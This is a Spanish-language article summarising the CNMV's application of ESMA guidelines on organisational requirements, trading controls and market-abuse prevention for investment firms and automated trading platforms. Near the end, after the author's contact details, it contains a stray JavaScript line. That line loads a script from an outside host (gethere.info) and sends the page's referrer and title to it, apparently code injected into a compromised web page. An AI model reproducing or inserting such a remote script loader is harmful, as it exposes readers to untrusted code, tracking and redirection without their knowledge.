I.- INTRODUCCIÓN

El pasado 1 de mayo de 2012 la Comisión Nacional del Mercado de Valores («CNMV«) inició la aplicación de las directrices propuestas por la Autoridad Europea de Valores y Mercados («ESMA«) en relación con los sistemas y controles a aplicar por las Empresas de Servicios de Inversión («ESI») y las plataformas organizadas en entornos automatizados de negociación («PON»).

II.-CONTENIDO

Las referidas directrices se subdividen en los ocho apartados siguientes:

1.- Requisitos organizativos para los sistemas automatizados de negociación de los mercados regulados y de las PON. En este aspecto destacan los requisitos de gobernabilidad (deben establecerse programas de compliance corporativo y de administración de riesgos); de capacidad y resistencia (los sistemas deben tener la suficiente capacidad para acomodar volumenes razonables de órdenes, así como posibles incrementos); de ensayo (es necesario que los sistemas automatizados de negociación, así como sus correspondientes actualizaciones, sean sometidos a ensayos previos para comprobar que cumplen con la legislación aplicable y que pueden afrontar condiciones de mercado extremas), de monitorización (deben monitorizarse los sistemas automatizados de negociación a tiempo real siendo necesario poder resolver lo antes posible los problemas técnicos que puedan surgir, además de realizarse revisiones periódicas) y de seguridad (procedimientos de seguridad física y electrónica para evitar el mal uso o el acceso no autorizado a los datos que forman parte del sistema).

2.- Requisitos organizativos para los sistemas automatizados de negociación de las ESI. En este aspecto, los requisitos organizativos para las ESI son prácticamente idénticos a aquellos establecidos para los mercados regulados y las PON.

3.- Requisitos organizativos para mercados regulados y PON para promover la negociación justa y ordenada a través de las plataformas organizadas. Estos requisitos consisten básicamente en la necesidad de realizar due diligences de las solicitudes de membresía de personas que no sean instituciones financieras o de fondos de inversión y de asegurar un grado mínimo de compatibilidad entre los sistemas automatizados de negociación y el programa informático que utilicen los miembros y participantes para acceder al sistema. Asimismo, es necesario que estas entidades tengan la capacidad de realizar controles pre y post negociación, incluyendo la capacidad para poder limitar o evitar el acceso de un miembro al mercado, cancelando, enmendando o corrigiendo una transacción. Por otra parte, las PON deben disponer de sistemas para prevenir un flujo excesivo de órdenes mediante el establecimiento de límites de capacidadpara cada participante, así como para evitar que se sobrepasen los antedichos límites de capacidad.

4.- Requisitos organizativos para las ESI para promover la negociación justa y ordenada a través de las plataformas organizadas. Entre otros, las ESI deberían ser capaces de bloquear automáticamente aquellas órdenes que no reúnan determinados requisitos de tamaño o de precio, que provengan de traders sin permiso para negociar o que comprometan los límites de management risk de la empresa.

5.- Requisitos organizativos para mercados regulados y plataformas organizadas de negociación para prevenir el abuso de mercado. Las PON deben contar con suficiente personal con el conocimiento y la habilidad necesarias para supervisar la actividad de negociación y detectar abusos de mercado; deben disponer de sistemas informáticos con la suficiente capacidad para asegurar la trazabilidad de transacciones y pedidos realizados/cancelados que pudieran comportar una manipulación del mercado; y deben realizar también de forma periódica revisiones y auditorías internas de procedimientos destinados a detectar e identificar abusos de mercado.

6.- Requisitos organizativos para las ESI para prevenir el abuso de mercado. Además de las obligaciones que tienen las PON en este campo, las ESI también deben proporcionar formación continua a sus trabajadores sobre lo que se considera un abuso de mercado y, en particular, una manipulación del mercado.

7.- Requisitos organizativos para mercados regulados y PON cuyos miembros/participantes y usuarios proporcionan acceso directo o acceso esponsorizado a los mercados. En este apartado destaca que las PON deben requerir a los miembros/participantes o usuarios a que realicen due diligences a sus clientes y, del mismo modo, deben rechazar peticiones de miembros /participantes o usuarios para proveer a un cliente acceso directo al mercado cuando haya indicios de que tal acceso pueda afectar a la negociación justa y ordenada en el mercado. Asimismo, las PON deben estar capacitadas para suspender o retirar el acceso esponsorizado, así como para detener las órdenes  de las personas que negocien a través de dicho acceso esponsorizado.

8.- Requisitos organizativos para ESI que proporcionan acceso directo o esponsorizado a los mercados. Entre otras cosas, las ESI deberán realizar auditorías periódicas a sus clientes para evaluar su competencia, así como controlar previamente las órdenes de sus clientes de forma que aquellas que no cumplan ciertos parámetros puedan ser rechazadas automáticamente.

Asimismo, de forma común a las antedichas directrices, las ESI y las PON deberán conservar durante un plazo mínimo de 5 años la documentación relativa a los referidos asuntos con el suficiente detalle como para que las autoridades competentes puedan comprobar si las obligaciones aplicables han sido debidamente observadas.

III.- CONCLUSIÓN

Las referidas directrices han sido emitidas para promover la negociación justa y ordenada en entornos automatizados y prevenir la manipulación de mercado en dichos entornos, todo ello al amparo del artículo 16 del Reglamento nº 1095/2010 del Parlamento Europeo y del Consejo de 24 de noviembre de 2010, que regula la creación de la ESMA y que establece que las autoridades competentes y los participantes en los mercados financieros harán todo lo posible para atenerse a las directrices que publique la misma.

La CNMV, cumpliendo con la obligación establecida en el antedicho Reglamento de la ESMA, ha confirmado a las autoridades competentes que tienen intención de cumplir con las directrices, por lo que éstas serán tenidas en cuenta en el ejercicio de sus labores de supervisión.

Para más información, contacte con:

Ramon MANYÀ: rmt@vila.es

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + »;
06-01-2012